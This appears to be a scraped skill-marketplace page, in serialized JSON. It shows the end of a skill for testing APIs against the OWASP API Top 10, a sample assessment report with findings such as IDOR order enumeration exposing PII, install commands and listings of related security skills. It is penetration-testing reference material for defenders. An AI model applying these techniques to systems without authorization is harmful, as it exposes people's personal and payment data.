GraphQL Introspection Data Leak\nGraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.\n\n## Output Format\n\n```\n## API Security Assessment Report\n\n**Target**: api.target.example.com\n**API Type**: REST (OpenAPI 3.0)\n**Assessment Date**: 2024-01-15\n**OWASP API Security Top 10 (2023) Coverage**\n\n| Risk | Status | Severity | Details |\n|------|--------|----------|---------|\n| API1: BOLA | VULNERABLE | Critical | \u002Fapi\u002Fv1\u002Forders\u002F{id} - IDOR confirmed |\n| API2: Broken Auth | VULNERABLE | High | No rate limit on \u002Fauth\u002Flogin |\n| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |\n| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |\n| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |\n| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |\n| API7: SSRF | PASS | - | URL parameters properly validated |\n| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |\n| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |\n| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |\n\n### Critical Finding: BOLA on Orders API\nAuthenticated users can access any order by iterating order IDs.\nTested range: 1-1000, 847 valid orders accessible.\nPII exposure: names, addresses, payment details.\n```\n",{"name":5,"note":25,"tags":26,"author":34,"domain":35,"source":36,"license":15,"version":37,"nist_csf":38,"subdomain":43,"description":7,"mitre_attack":44,"source_commit":49},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32,33],"penetration-testing","api-security","owasp","rest-api","graphql","burpsuite","postman","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[39,40,41,42],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[45,46,47,48],"T1190","T1059.007","T1505.003","T1083","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Ftesting-api-security-with-owasp-top-10",1,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-11 23:56:26",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill testing-api-security-with-owasp-top-10",{"tool":66,"command":67},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill testing-api-security-with-owasp-top-10",{"tool":69,"command":70},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill testing-api-security-with-owasp-top-10","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-api-security-with-owasp-top-10\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",2313,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-api-security-with-owasp-top-10\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",10580,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-api-security-with-owasp-top-10\u002Fscripts\u002Fagent.py",[91,99,106,114,122,130],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":118,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]